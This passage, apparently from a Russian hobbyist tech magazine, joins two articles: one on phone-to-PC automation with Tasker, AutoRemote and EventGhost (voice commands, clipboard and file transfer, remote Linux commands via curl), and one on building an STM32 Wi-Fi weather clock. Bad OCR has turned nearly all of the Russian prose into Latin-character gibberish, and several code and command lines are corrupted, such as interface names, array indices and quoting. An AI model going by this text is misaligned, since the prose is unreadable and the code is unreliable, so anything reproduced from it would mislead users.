YnpaBnsATb ycTponcTBammn, 6e3ycnoBHO, npoLue Bcero rosiocom. Tasker-nnarvH AutoVoice MoxeT nHterpupoBatbes B Google Now 1 nepexsaTtbiBaTb KOMaH-
Obl, Npon3HocuMble nocne ¢pasbl «OK, Myrn» unn yepes npsiMoii 3anyck «[onocoBoro noucka». ns aToro AomkHa ObiTb YCTAHOBIEHA MNOCNEeOHss Bepcus
naketa «Google MNowuck», a nnaruH AutoVoice akTnBmpoBaH B «<HacTpoiku — Cnew,. BO3MOXHOCTU» (Kak BapuaHT — AutoVoice MOXHO 3anycTuTb HanpsiMyto

C MOMOLLIO CBanna BBEPX OT KHOMKM «[JOMOW»).

[ns npumMepa paccMOTpUM, Kak C ero MOMOLLbIO HACTPOUTL BbIKJIIOYEHNE AOMALLHEro koMna ronocoM. Cosgaem npodwunb Event — Plugin — AutoVoice
Recognized, ranouka Event Behaviour, B none Command Filter BnuceiBaem «Bbikntoun komn». O6a3aTenbHO cTaBuM exact, MHade cpaboTaeT Ha iloboe 13 AByx
cnoB. ns gencrteus Boibnpaem Plugin — AutoRemote Message ¢ yctpoictBom EventGhost n komangoii «Beiknoumn». B EventGhost cospaem makpoc ¢ co-
6bITnem AutoRemote.Message.Boikntoun 1 gericteuem Power Management — Turn Off Computer.

B 6onee cnoxHOM BapmaHTe Mbl MOXEM MCMNO/b30BaThb apeCHbIe KOMaHbl, Takune Kak «Bbiko4n AoMatuHuin komn», «Mepeaarpyan Nexus 7» nnun «PebyT-
HU Pabo4mii KoMM». LIS 9TOr0 MOXHO UCMO/L30BaTh PErysipHbIEe BbipaxeHus. B kayecTse koMaHabl Ans npoduis BBOAWMM TEKCT: «(?<action>BbIknioun | Bbi-
KN04YUTL | nepesarpysu | nepesarpyauts | nepesarpyska| neperpyau | pebyTHu) (?<device>.+)», KOTOPLIN 03HAYAET, YTO NEPBOE PACTIO3HAHHOE CII0BO (BKITHOYM,
nepesarpyau...) yioet B nepemMeHHylo %action, a octaBwmecs cnoBa — B %device. B none Device Bbibrpaem nyHKT By Name, B cneaytoLem none ctaBum
nepemeHHyto %device, a B none Message nuvwem %action. Toraa nons B 4ENCTBUN ByayT 3an0NHATLCA B 3aBUCMMOCTU OT NPON3HECEHHON ¢dpa3sbl. CooTBeT-

CTBEHHO, HA MPUHUMAIOLLMX YCTPOMCTBAX Ha,

HACTPOUTbL NPODUNN MPU NONYHEHUWN KXO0N KOMaHAbl U3 NePBbIX CKOOOoK (cMm. 1.11).




X-Mobile

MegaFon 2 NFdl
Action Edit 2
1. Run Shell O *
" 8 i‘ O Command Y 4
busybox Is /storage/emulated/0/
Cpena, 6 agrycTa 'I?;:rtiﬁ;%s'ﬁ;?reenshots -Itr | tail -1 | awk
Timeout (Seconds) 3
Anapm!!!
KT0-To BK/tounn komn!!! 0 3 v
The TrackR Team 17:47
kR Update: 1 Million Dollars, Gi i
Il Use Root O
Store Output In Y 4
% Testb
Store Errors In Y 4

4\ CTEMHbIEe CO6I:ITI/IF|, n Ha moﬁoe N3 HNX MOXHO NMOBECUTb yBEAOM-
YBepomneHue HaTene- neHvie. B kayecTBe npumepa MOXHO NPVBECTU BXOZ, NOJIb30BaTe-
¢oHe npu 3arpyske n9a B 3a6noknpoBaHHbIi koM. Korga ato nponcxoauT, EventGhost
Komna reHepupyeT cobbiTne System.SessionUnLock. Co3gaem ansi BTo-

poro cobbITMsS MakpoC 1 B KAYECTBE AENCTBUSI KONUPYEM BCE TOT
xe AutoRemote Notification. Tenepb Mbl 3Haem, 4TO KoM Tpora-
nn, Koraa Hac He 6b11o Ha mecTe (cMm. 1.6).

OTnpaBKaTeKcTa HaTenedoH/nnaHLWeT U3 nodoro
TEKCTOBOro peaaxKTopa
Bcrasnsem B Configuration Tree cnenyiowmii ko4,

<source lang="HTML">
<?xml version="1.0" encoding="UTF-8" ?>
<EventGhost Version="1669">
<Macro Name="Send clipboard to my device" «
Expanded="True">
<Event Name="Keyboard.Ctrl+Alt+V" />
<Action>
AutoRemote.SendMessage(u'My Device', u'URL', «
u'device', u'copy=:={eg.WinApi.Clipboard.«
GetClipboardText()}', u'', u'', u'', "', u'")
</Action>
</Macro>
</EventGhost>
</source>

MeHsiem yCTPOICTBO 1 Ha3BaHWe Ha cBoe. Tenepb Ntoboli cko-
NUPOBAHHbLIN TEKCT MOXHO OTMNPaBUTb HA YCTPOMCTBO HaxaTnem
<Ctrl + Alt + V> (cm. 1.13). meli B BUAY, YTO TEKCT MPUAET Kak CO-
ob6uweHre ans AutoRemote, Tak 4TO Ha YCTPOWCTBE €ro HyXHO
6ynet obpaboTatb ¢ nomolblo Tasker. Kak BapnaHT — BCTaBUTb
B 6ydep oOMeHa (CM. B Havane cratbu).

OTnpaekaTekcTa Ha Komn c TenedoHa/nnaHwerTa

Kak ©Obio nokazaHo B npuMepe K3 paspena «Tasker», co3-
naem penictene Plugin — AutoRemote Message, HO B none
Recipient Beibpaem EventGhost. Mone Message Takxe octaeTcs
copy=:=%CLIP. Ons yno6cTea BBIHOCUM BUIAXET HA paboynii CTo.
B Configuration Tree EventGhost BctaBnsiem kog;:

<source lang="HTML">
<?xml version="1.0" encoding="UTF-8" ?>
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%armessage — NoJsiHoe nosly4eHHoe coobLue-
Hue.

%arpar() — MaccuB CO BCEMM NapamMeTpamun
cnesa ot =:=. [lng Mmakpoca ncnonbayercs {eg.
event.payload.arpar[0]}, {eg.event.payload.
arpar[1]} n Tak panee.

%arcomm — BCe CnoBa crnpasa oT =:= (npu
HanM4MM TONbKO OQHOrO =:=). [lna Mmakpoca uc-
nonb3yetcs {eg.event.payload.arcomm}.
%arcomm() — MaccuB Co BCeMu ppasamu
nocne nepBoro =:= (ecnu ncnonbayertcs 6onee
OJHOro =:=).

%arfiles() — maccue co Bcemu annamm, Koto-
pble Nony4eHbl C COOBLLEHNEM.

é

Hacrpoiika anga peiicteus
Run Shell

<EventGhost Version="1669">
<Macro Name="Copy to Clipboard" Expanded="True">
<Event Name="AutoRemote.Message.copy" />
<Action>
EventGhost.PythonCommand(u'eg.WinApi.«
Clipboard.SetClipboardText(eg.event.«
payload.arcomm) ")
</Action>
</Macro>
</EventGhost>
</source>

Tenepb N0 HaxaTuio Ha BUAXET copepxawmiica B Oydepe
obmeHa cmapTdoHa TekcT OyaeT otnpaBneH B Gydep obmeHa
KomMna. [ns HarnagHOCTU B MakpoC MOXHO A06aBuTb €eLle OAuH
Action — Show OSD. OSD — ato On Screen Display, TO ecTb TEKCT
NnoBepPX BCEX OKOH. HacTpomTb MOXHO MONOXEHWe, UBET, WpudT,
BpeMsi Nokasa 1 Tak ganee. 9 B kKa4ecTBe yBEAOMJIEHMS UCMOSb-
3yto «TekcT ckonupoBaH: {eg.event.payload.arcomm}», rae Bblpa-
XeHne B GUrypHbIx CkoOKkax COOTBETCTBYET MONYYEHHOMY TEKCTY
(cm. 1.7). B nore (cMm. 1.12) BuaHa paboTta makpoca, 0AHaKO UMEH-
HO B JIOre pycCkuii TEKCT 0TOOpaxaeTcs B IOHUKOAE.

Otnpaeka ¢paiinac renedpoHa HaKoMn

Ona paboTbl noHamobwutcs ewe OAMH nnarvH Tackepa —
AutoShare (goo.gl/PgcEhj), nossonsiiowmin 3abupatb B nepe-
MEHHbIE BCIO MHdOpMaLMIo, nepeaatoLLyocs NPy NCNOb30BaHNN
CTaHJAPTHOro MeHio aHapouvaa «Share/OTnpaBuTb/MoaennTbLCS».
Mocne yctaHoBkM co3paeM komanpy «®Paiin Ha KoMmmM», Haxas
+ B Manage Commands. B Tackepe co3gaem npodunb State —
plugin — AutoShare Command un BbibupaemM HyXHyI0 KOMaHzy.
Janee co3pnaem gencteme Plugin — AutoRemote Message ¢ na-
pameTpom incoming=:=%asfile(), rone %asfile() — aT0 maccus
C BblaeneHHbIMU anga nepegadn damnamn. B none Files BnucChl-
BaeM %asfile(). Ha ctopoHe komna BctaBnsiem Configuration Tree
cnenylowmii ko,

<source lang="HTML"><?xml version="1.0"
encoding="UTF-8" ?>
<EventGhost Version="1669">
<Macro Name="Incoming Files" Expanded="True">
<Event Name="AutoRemote.Message.incoming" />
<Action>
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EventGhost.PythonCommand(u'print eg.event.«
payload.files[@]")
</Action>
<Action>
System.Execute(u'C:\\Windows\\explorer.exe"',«
u'/select,{eg.event.payload.files[0]}', O, «
False, 2, u'', False, False)
</Action>
</Macro>
</EventGhost>
</source>

OTOT Makpoc npu MOMyYeHUN COOBLLEHMSsI, COAEepXaLlero
KOMaHZy incoming, npumeT ¢ain B nanky, KOTOPYyK ykasanu
npwn HacTpovike nnarnHa AutoRemote, nocne 4yero oTkpoeT nNpo-
BOOHWK C NOACBEYEHHBIM MMeHeM daina (NepBbIM, CNU X He-
CKOJIbKO), 3a 4TO OTBevyaeT napameTp /select,{eg.event.payload.
files[0]}.

MoxHo nepepn, aTum go6asute Show OSD ¢ nmeHem daina
(MonyyeH HoBbI dain: {eg.event.payload.filesO (}) nnn BoobLue
ybpatb nocnepnHee penctene (cm. 1.8). Tenepb MOXHO OTNpaBs-
natb dannbl 3 GannoBbiXx MEHEAXKEPOB, rafepen 1 npoyero ye-
pes ctaHgapTHoe meHto Android «MogenuTbesi/Share».

ABTOMaTM4YecCKaa oTn PaBKa CKPpUHLUOTOBC Tene¢oua
Ha komn (root u busybox)

B Tackepe co3paem npodunb ¢ cobeitnem Event — File — File
Modified. Bmecto ¢aiina BbiGrpaeM nanky CO CKPWUHLLOTaMMu
(8HaYOK Nynbl, 3aTeM 0N Tan Ha camoi nanke). Jnsa gencreus
BblGupaem Script — Run Shell n BnuceiBaem komaHay busybox
Is /storage/emulated/0/Pictures/Screenshots -Itr | tail -1 | awk
{print $NF}'. Huxe B ToM e aeincTtemm B nose Store output in BBO-
OUM nepemMeHHy1o (y meHsa %Test5). B aTy nepemeHHyto 6yneT 3a-
nucelBaTbcs Ms darina.

Cnepytowmm  peinctenem pgenaem Task — Perform Task
1 BblbMpaem M3 cnucka 3agaHune, KOTOPOe Hado CHayana Cos-
patb. [Ina atoro co3paem BO Bknagke Task gencrteme Plugin —
AutoRemote Message 1 BbiGupaem EventGhost B kayecTse uene-
BOro ycTpoiicTea. B none Message BBoavm incoming=:=, a B none
Files BnucbiBaem nyTb go daina + ums. 310 Gyner /storage/
emulated/0/Pictures/Screenshots/%Test5.

Y meHs aT0T Task HasbiBaeTcs Send Screen, COOTBETCTBEH-
HO, A ero Bblbpan B peictBum Perform Task. B EventGhost
[OMNONHUTENBHO HUYEro HacTpamBaTb He Hago (Mbl yXe CO3-
nanv 06paboTymk incoming, HacTpaueas oTnpasky ¢ainos ¢ Te-
nedoHa Ha komn). MNpu ycnewHon oTnpaske BUAMM yBeaomIe-
HUeE, KaK Ha CKPUHLLOTE «HacTporika OTnpaBkmn Ha OTNPaBASAOLLEM
yCTponcTBe». [Na OTNpaBkM CKPUHLLOTOB, CAENaHHbIX NOApsif,
o6s13aTeslbHO B HacTpoikax 3agayn ctasum Run Both Together
B Collision Handling.

OTKpbLITHE CCbLUIOK U3 MOOUNBHOrO Opay3epa v Apyrux
npor HaKomne

B AutoShare cospaem komaHgy Open On PC (nnun niobyto yno6-
Hyt0). ns HoBoro npoduns codpaem State — Plugin — AutoShare
1 B none Command Filter BbiGrupaem HyxHyio komaHay. B kasectse
nencTeus Bbibrpaem Bce ToT xe AutoRemote Message ¢ ycTpoii-
ctBoM EventGhost n Tekctom %astext.

Tenepb, ecnv HaxaTb B N0GOI Nporpamme, rae MoXHO nope-
JINTLCS CCbINKOW (B MOBUILHOM Xpome 310 «MeHtio — OTnpaBka»),
Ha AutoShare Command v B cnucke BbibpaTte AutoShare Command
— Open On PC, To fAaHHas cTpaHuLua OTKPOETCS Ha KOMMe aBTo-
MaTtuyecku. Takxke MOXHO NepeaaTh CCbIKy MOC/Ie HaXaTusl, eCnm
nporpaMmMa cnpocuT «4T1o ncnonb3osarb?» [ns aToro Heobxoam-
Mo HaxaTb Ha Open Remotely. B cneayioliem okHe BbIGpaTh Jlio-
60e yCTpOoIiCTBO.

OTkpbiTHe Ppaiina Hakomne

Cospgaem makpoc ¢ cobbitvem AutoRemote.Message.open, oo-
6aBnsem Python-komanzy from os import startfile;startfile(eg.
event.payload.files[0]). U3 Tackepa oTnpaBnsem ¢ainbl ¢ KOMaH-
[ov open.

CUHXPOHM3aLus NanKu Ha Komne c TenepoHoOM
Directory Watcher otcnexusaeT HOBble dainbl B ONpeaeneHHon
nanke (Send2Nexus) u Npu UX NOSBAEHMM cpa3y OTNpaBnseT

Ha TenedoH B nanky, HacTpameaemyio B AutoRemote. ns pnen-
CTBUSI UICMOMb3YETCS BCE Ta Xe OTnpaska, OnnucaHHas paHee (CMm.
1.9, 1.10).

YNPABJIEHUE YCTPOMCTBAMM U3 LINUX

K coxanenuto, ansa Linux HeT knneHTa AutoRemote, HO Mbl MOXEM
1Mcnonb3oBaTb CBA3KY Beb-uHTepderic + SSH ana ynpasnexHus
ycTponcTBamn u Linux-mawmHamu yepes cepsep AutoRemote.
[na atoro noHanobutcs curl:

$ sudo apt-get install curl

Takxe Heo6xoaMM SSH ¢ BO3MOXHOCTbLIO NTOFMHA Ha MaLLUHY
yepea login:password 6e3 HeobxoaMMOCTN 1Ucnonb3oBaTb SSH-
knoun. Korga o6a aTux ycnosusi 6yayT BbINOMHEHbI, 3arnyckaem
crenyLLyio KOMaHay, 4ToObl aBTOPM30BaTh HaLLy Linux-MaLuunHy:
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INFO

B HacTpoikax
AutoRemote ecTb onuus
Fallback to Chrome,
KOTOpast NO3BONSET Nepe-
cnarb coobLeHue B pac-
wupeHue ans bpaysepa
Chrome B ToM cnyyae,
€CNV HanpsIMyto aspecat
HeAoCTyneH (Hanpumep,
Haxoputcs 3a NAT unn
daipsonom).

Tasker-naazux AutoVoice mo>kem unmezpu-
posambcs 8 Google Now u nepexsamoléatib
KomMaHobl, npousHocumsle nocae ¢ppasol «OK,

I'yean

$ curl "http://autoremotejoaomgcd.appspot.com/«
registerpc?key=YOUR_KEY&name=NAME&id=«
ANY_UNIQUE_ID&type=1linux&publicip=«
YOUR_PUBLIC_IP_OR_HOST_NAME&localip=«
$(sudo ifconfig eth® | grep "inet addr"
|awk '{print $2}' |awk -F: '{print $2}')"

YOUR_KEY — KJ1t04, CM. BbILLE;

+ NAME — 710, kak 6yaeT oTobpaxarbcs yCTPONCTBO ¢ Linux
Ha TenedoHe;

ANY_UNIQUE_ID — nio60i#1 yHukanbHbli ID.

[Mocne BbINONHEHWs KOMaHAbl Ha TenedoHe MOABUTCA OKHO
C 3anpocoM fiIornHa 1 napons ot Linux-mawuvHel. Janee MoXHO
HayMHaTb paboTy. YTo6bLl OTNPaBMTL COODLLIEHNE HA YCTpOMCTBaA
(BCE), BOCTATOYHO BbIMOIHUTL CEAYIOLLYIO KOMaHy:

$ curl "http://autoremotejoaomgcd.appspot.com/
sendmessage?key=YOUR_KEY&message=COOBIEHNE"

CoobuieHne npuget B dopme linux=:=COOBLLEHUE, Tak
4yTO ANs ero 06paboTku nNpu cosgaHum npocduns Tasker B none
AutoRemote Message Filter cnenyet nponucatb linux=:=. Co-
obLweHns, npuwenwme ¢ ycTpoicTs, ByayT MHTEPNPETMPOBaTb-
csl kak Linux-komaHabl, BbIBOL KOTOPbIX 6yAeT NPUXoauTb B OT-
BETHOM coo6weHnn. Hanpumep, ecnn nocnatb 4eped Tasker
Ha MawwunHy coobuieHune Is / (AutoRemote Message — B nepeom
none Device BbiGpaTh TO, 4TO Mbl BnNcann 8 NAME_TO_APPEAR_
ON_YOUR_PHONE, B none Message Bnucartb Is /), ToO B norax
AutoRemote mMbl yBMaAMM cnncok ¢aiinoB KOPHEBOro karanora,
HauynHawwmiics c linux=:=. OTBeT ¢ nomoLbio Tasker Toxe MOX-
HO obpaboTaTb.

BbiBOAbI

Ceagka Tasker + AutoVoice + AutoRemote + EventGhost + plugins
[aeT 04eHb MHOro BO3MOXHOCTEW Ansi aBTomMatm3auuun, B TOM
yucne roflocoMm: OT yrnpaBfieHusl MUTaHMeM 1 3arnycka nporpamm
[0 KOHTPONSA pasnuyHbiX YCTPOrcTB. Cornacuck, NPUSATHO OLLy-
TUTb cebs yacTblo Byayuiero, ckadas «OK, yrn, BbIKNo4YM goMalw-
HUIA KOMM>» — W Yepe3 HECKOJIbKO CEeKyHA, KOMM BbIKSloYUTCS. Mnu,
nogxons k nomy, ckadarb: «OK, I'yrn, 3anyctn Watch Dogs». Ewe
661710 6bl 300POBO, €CM Obl MOXHO ObIIO HACBUCTLIBATL MOTUB-
YMKN NEeCceHOok, a MeamaueHTp mx 6bl pacnosHasan 1 Ha4nHan Gbl
npourpbiBaTb COOTBETCTBYIOLNIA daiin n3 nHeta. 3L
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HeoduumanbHblii KNUeHT
AutoRemote ans OS X:
g00.gl/34yMnU

Pacwupenue Google
Chrome ans paotbl
c AutoRemote:

g00.9l/JRLUMS
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YACHI C BAVIDAEM T
CBOMMHU PYKAMM

OEJNAEM TMOTOAHYIO CTAHUIO
HA BASE STM32F3DISCOVERY
N WI-FI-MOLYJA WIZFI220

KJIIOY HACTAPT

B nepByto ouepeap NEPEUNCIIO TO, HTO UCMONb30BaN:

1. OmnapouHas nnata STM32F3DISCOVERY.

2. OkpaH Ha 6a3e koHTponnepa KS0108 (B moem cnyyae ato MT-
12864A poccuinckoro npon3soacTea).

3. Wi-Fi-moaynb WizFi220.

PaspabarbiBaTb MPOLLUMBKY MOXHO Kak MMHMMYM B OByX IDE:
Keil Embedded Development Tools for ARM (www.keil.com) n IAR
Embedded Workbench (www.iar.com). 9 ncnonb3yio nepsyto,
a ecnu Teba 3anHTepecyeT BTopas, To n3-3a cneunduku IAR Tebe
HyxHa 6yneT IAR Embedded Workbench for ARM.

Camo coboli, He cTouT 3abbiBaTb 0 GecniaTHbIX CPeacTBax
paspaboTku nog ARM, Hanpumep o npoBepeHHol cesske Eclipse
+ GNU ARM Eclipse Plug-In + GCC + GDB + OpenOCD. MaHyanbi
no HacTpolike AaHHOM CBA3KN MOXHO 6e3 Tpyaa HaliTn B UHTEp-
HeTax.

WTak, noyemy xe nmeHHo STM? lNoTOMy 4TO y HMX €CTb Ta-
Kas 3aMevarenbHas Bellp, kak Standard Peripherals Library (ons
STM32F303XX ka4aTb TyT: g00.9l/0Oin8pM). 310 6UbNMOTEKA,
KOoTOpas no3eonseTt paboTatb ¢ Nnepudepmrei, He Kacascb perm-
CTPOB.

BoT npumep HacTponkn USART1.

USART_InitTypeDef USART_InitStructure;

USART_InitStructure.USART_BaudRate = 115200;

USART_InitStructure.USART_WordLength =«
USART_WordLength_8b;

USART_InitStructure.USART_StopBits =«

Buikun 0 mopynsx WIZnet:
wizwiki.net

Mosi HebonbLas cTatbst
06 3aTMX MOpynsX:
habrahabr.ru/
post/155203/
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Kupunn CHexxko

snezhko kirill@gmail.com

B nocnenHee BpemMs BCe Yalle MOXHO
BMOETb, KAk N0an B CBOUX NPOEKTax
ncnonb3yoT Arduino, MOCKOJIbKY Tam
eCcTb, Hanpumep, Ethernet-wmng nnu Wi-
Fi-wuwnna,. A uensiin KOMNbIOTEP B 3TOM
nnaHe 0ObIYHO COBEPLLUEHHO N3ObLITOYEH.
B aToIn cTatbe 9 nokaxy, 4To NCNOJib-
3oBaTb Wi-Fi B cBOEM NpOEKTE MOXHO

1 6e3 Arduino. Mbl coenaem 4achbl ¢ Wi-
Fi 1 MOHOXPOMHOI MaTpULLEN, KOTOPbIE
OyayT eLle 1 nokasbliBaTb MOroay B HYX-
HOM ropoge.

USART_StopBits_1;
USART_InitStructure.USART_Parity =«

USART_Parity_No;
USART_InitStructure.USART_HardwareFlowControl =«

USART_HardwareFlowControl_None;
USART_InitStructure.USART_Mode =«

USART_Mode_Rx | USART_Mode_Tx;
USART_Init(USART1, &USART_InitStructure);

Bce o4eHb NMPOCTO M MOHATHO, He Tak nn? He Hago nasutb
no Reference Manual’y (y STM32F303XX OH 3aHMMaET Moyt Tbl-
csi4y cTpanul). Cpady BuaHo, 4to pebsita na STMicroelectronics
XopoLuo nopaboTanu.

OpHako WCMoNb30BaHME [aHHOW 6ubnMoTekM — MoBoA
Ons xonueapa (O4HW roBOPSIT, YTO OHA FreHEpPUpPYET Ky4y NMLIHEe-
ro koga, Apyrme — 4YTo oHa AenaeT U3 nporpaMmmMucTa NeHuBLa,
1 Tak ganee), Noatomy st He 6yay npuabiath T€bs, YATaTeNb, UC-
nonb30BaTh ee.

Hauatb paspaboTky C MCMnonb30BaHWEM 3TOW GMOANOTEKN
0O4YeHb NPOCTO MO ABYM MPUYMHAM:

1. B Heli yxe eCTb NPOEKTbI, NPUrofaHble Ans oTkpblTs B IDE (ons
Keil oH nexut B Projects/STM32F30x_StdPeriph_Templates/
MDK-ARM/Project.uvproj).

2. HauanbHblin koA ona paboTsl ¢ nepudepuneli MoxHo 1o06aBUTb
B MPOEKT, 3aMeHuB Bce dannbl n3 Template Ha dannbl HyXHO-
ro Ham npumepa.

Y10 XXe ByneT Aenartb KOHTPONNep B Hawel 3agaqe?
WHunumannamposaTtk 1 HacTpameatb Wi-Fi n gucnnei.
2. 3anpawwmatb norogy ¢ OpenWeatherMap.

—_
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3. BbIBOAUTb Ha 3KpaH TEKYLLEE BPEMS, AATY N MPOrHO3 Ha He-
CKOJNbKO AHEeN.

HAYUHAEM. OPENWEATHERMAP

OpenWeatherMap 6bin 3anyweH B 2012 rogy rpynnoi aHTy3ua-
CTOB, 3aropeBLUMXCS LieNblo 06ecneynTbs CBOOOAHYIO U A0CTyN-
Hyl0 MHbOpPMaUMO O Norofe Ansa Nboi TOYKM 3eMHOro Lwapa.
C Tex nop 3TOT CalT HeNpPepbIBHO Pa3BNBAETCS, U O r0 BO3MOX-
HOCTSIX MOXHO CyauTb Mo npegocTtasnsiemomy APl: nNporHossb
Ha NSTb OHEN C pacyeTOM METEOYC/IOBUIN HA Kaxable Tpu yaca,
NPOrHo3bl Ha CPOoK A0 16 AHel, NosyYeHne UCTOPUYECKUX OaH-
HbIX, MOJIy4EHNE KapT, Hanpumep 061a4HOCTU.

Mbl 6yaemM ncnonb3oBaTb NPOrHO3 Ha CEMb AHEN C 4acToTon
06HOBNIEHMS! OAMH pa3 B CyTku. B cnyyae 6onblioro uncna 3a-
npocoB APl OpenWeatherMap moxeT Tpe6oBaTh kjto4a, KOTOPbI
MOXHO MOMy4YMTb Nnocne perncrpaumm. Ho Ham 3TO He CTpaLLHO.
CoMHeBaloCb, 4TO y Hac GyaeTt 6osblie COTHM 3anpocosB B 24
yaca.

[nsa nony4yeHns nporHo3a Heobxoammo nocnate GET-3anpoc
Ha cneunanbHO chOPMUPOBAHHbLIN aapec, KOTopkI Ansg Mocksbl
BbIMAONUT Tak:

http://api.openweathermap.org/data/2.5/«
forecast/daily?g=Moscow, ru&units=metric&cnt=7

N1ak, mbl xoTuM OT APl OpenWeatherMap nony4ynte NporHo3
ans ropoga MockBbl g=Moscow, ru, B METPUYECKO CUCTEME MepP
units=metric n Ha cemb gHel cnt=7. Ecnu xe Heobxoanmo no-
nyunTb oTBeT B JSON, TO Hy>XXHO 006aBUTb eLle oauH napameTp:
mode=json. Ho ans Hac XML yoo6Hee.

{

"cod":"200",
"message":0.2284,
"city":{
"id":524901,
"name" : "Moscow",
"coord":{
"lon":37.615555,
"lat":55.75222

1,
"country":"RU",
"population”:@,
"sys":{
"population":@

}
1,
"cnt":7,
"list":[
{
"dt":1407142800,
"temp": {
"day":28.06,
"min":23.9,
"max":28.06,
"night":23.9,
ve":28.06,
"morn":28.06
1,
"pressure":1011.4,
"humidity":38,
"weather": [
{
"id":803,
"main":"Clouds",
"description":"broken clouds"
"icon":"@4d"
}
1,
"speed":4.61,
"deg":38,
"clouds":64
1, .
1 )

OpenWeatherMap BepHET Ham 45 KaXA0ro AHS Creaytolulee:

Yacel ¢ Bavipaem cBoMY pykamu

WARNING

He 3a6biBait 3a3eMnsTb-
cs! MomHu, 410 paspag,
CTaTN4eckoro aneKkTpu-
4ecTBa MOXET yOuTH
nmopnynb Wi-Fi, n akpaH,
v KoHTponnep!

SRC

Bech kofi Tbl MOXELLb
HaitTu Ha ruTxabe. MpocTo
CKOMUPYI C 3aMEHOIA
¢aiinel B nanky Template
13 Standard Peripheral
Library.

N

WizFi220
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«  Temneparypy AHEM, HOYbO, BEHEPOM M YTPOM, a ELLE MUHU-
MaJIbHYIO 1 MaKCUMaJIbHYIO;

M AaBlieHne B rmranackansx;

*  BIAXHOCTb BO31yXa;

+ TEeKCTOBOE OMucaHue NoroAbl 1 AaXe UMS MKOHKW 4151 0TO-
B6paxeHus "icon":"04d";

* CKOpOCTb M HarnpasJieHve BETPA;

*  NpoueHT 06/1a4HOCTN.

Ham ocTaeTcs To1bKO MpaBuiibHO pacnapcuTb OTBET cepBepa.

NMPOOOJIXAEM: WIZFI220
PasnuuyaloT pgBa  BapuaHta nopobHbix  moaynen:  WizFi220
1 WizFi210. OHM Noxoxun BO BCEM, KPOME OOHOr0 MyHKTa: y nep-
BOr0 MOAYNS Bbile MOLLHOCTb Mepeaaryvka u, Kak cneacTteue,
BbllLe noTpebneHve.
0O65a8al0T OHU CNEAYIOLLIMMUM CBONCTBAMM:
+  pasmepbl 32 x 23,5 x 3 MmMm;
+  nopaepxka Tosibko 802.11b;
+ wndposaHue: WEP, WPA/WPA2-PSK, Enterprise (EAP-FAST,
EAP-TLS, EAP-TTLS, PEAP);
« npoTokonbl: UDP, TCP/IP (IPv4), DHCP, ARP, DNS, HTTP/
HTTPS Client and Server;
+ HanpskeHue nutanus: 3,3 B;
+  notpebneHwue:
+  oxunpaHue: 34 MkA (WizFi210), 35 mkA (WizFi220);
+  npuem: 125 MA (WizFi210), 125 mA (WizFi220);
- nepepava: 135 MA (WizFi210), 250 MA (WizFi220).
- BCe ynpasneHune npoucxoant yepes UART.

Ecnn o6paTvm>csq K pacrnnHoBke, TO MOXHO yBnAeTb, 4TO TaM
npucyTcTBytoT NuHbl ALARM, ADC, GPIO. 1na Toro 4To6bl 3acTa-
BUTb Ux pabotatb, WIZnet, npousBoautens Moaynein, pekomMmeH-
AyeT N3MEHSITb UX NPOLUNBKY CAMOCTOSITESIbHO.

Bknounte Moaynb o4eHb npocto: nuHbl 1, 18, 31 n 48 (Bce
GND) nogknioyaem k 3emne, 32, 33 n 34 (VIN_3V3, EN_1V8,
VDIO) — k +3,3 B, a 40 n 42 (UARTO_RX 1 UARTO_TX) — K KOH-
Tponnepy nnu k MK vepes koneeptep UART <-> USB.

YT100bI 3TOT MOAYNb NPABUIBHO MHNLMANN3NPOBATh, EMY HAA0
nocnarb JaHHyto NocnefoBaTeNbHOCTb KOMaH, (Kaxaas komaHaa
[0/KHA 3aKaH4YMBaTbCS CMMBOJIOM Bo3Bpara kapeTtkmn CR, 0x0D):

AT

ATEO

AT+WD

AT+NDHCP=1

AT+WPAPSK=SSID, passphrase
AT+WA=SSID

AT+NCLOSEALL
AT+NCTCP=144.76.102.166, 80

1. AT — KOMaHAa HyXHa AJi9 NPOBEPKU MPaBUIbLHOCTM PaboThbl
Moayns. B nepsbiii pa3 nocne BKAIOYEHUS MOAYb AOMIKEH
BepHyTb AT\r\r\n[OK]\r\n.

Ly21V9HaY

“WiZnet Co. Ltd

Modz! : WizFi229

Made in Koreg
FCCClass B

FCC ID : XR2WIZFI220
KCC ID : KCC-CRM-WWW-WIZFI220
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2. ATEQ OTKJIIO4aeT 9x0 koMaHz,. Tenepb MoayJsib 60/bLUe He BO3-
BpaLLAET TONbKO HTO MPUHATYIO KOMaHY, @ NPUCHINAET TONbKO
oTBeT.

3. AT+WD 3acTtaBnsieT Moay/b OTkouMTLCS OT Becex Wi-Fi-ceTeit.
HyXHO B TOM cnyyae, ecnv no Kakoi-To NpuYmHe NpuxoanTcs
nHuumanuanposats WizFi220 3aHoBo 6e3 copoca.

4. AT+NDHCP=1 Bkntodaem DHCP-knveHT. 9 aymato, He Haao o6b-
SICHATb, 4TO 3TO.

5. AT+WPAPSK=SSID,passphrase Tpebyer ot WizFi220 nocun-

TaTb PSK (Pre-Shared Key) ans cetn u kntoya.

AT+WA=SSID 3anyckaeT NpoLLecC accoumaLmm ¢ CeTbIO.

AT+NCLOSEALL 3akpblBaeT BCe COegUHEHUS.

8. AT+NCTCP=144.76.102.166,80 nogknoyaet TCP-knueHT
K IP-agpecy n nopty TCP-cepBepa. B paHHOM cnyyae aTo
appec openweathermap.org.

No

MTak, Mbl MOAKMOYMANCL K CEPBEPY M FOTOBbI KayaTb MOro-
ny Tepabantamn. Ho kak ato caenatb? A BOT TYT HEOBXOAMMO
BCMOMHUTb, 4TO Haw WizFi220 cnyXuT nnib MOCTOM MeEXAY Ha-
LM KOHTPO/IIEPOM U CEPBEPOM. 3aTeM Hafo OCO3HaTb BCIO
TNEHHOCTb CUTyauun n novtu B Bukuneauio umtatb npo GET-
3anpocsl. Ja, Bce BepHo. MNMonyyatb norogy Mbl 6yaem ¢ nomo-
b0 OTMPAaBKK 3arnpoca cepeepy.

GET /data/2.5/forecast/daily?q=Moscow&units=c
metric&cnt="7 HTTP/1.1\n"

"Host: openweathermap.org\n"

"Connection: keep-alive\n"

"“\n"

MycTas cTpoka B KOHLE AoKHa ObiTb 06513aTes1bHO!

OcTanocb COBCEM HEMHOIO — MOHATh, kKak 3acTtaBuTb WizFi220
o6paboTaTb AaHHbIN 3anNpoc KOPPEKTHO. [1s 9TOro CyLLECTBYIOT
escape-nocnenoBarTenbHOCTU. VX BCEro Tpu, HO MCMONb3oBaTh
Mbl Byaem Hanbonee NpocTyio:

<ESC>S<CID>data<ESC>E

<ESC> — 0x1B, S n E — cokpaiieHus ot Start u End, CID — Homep
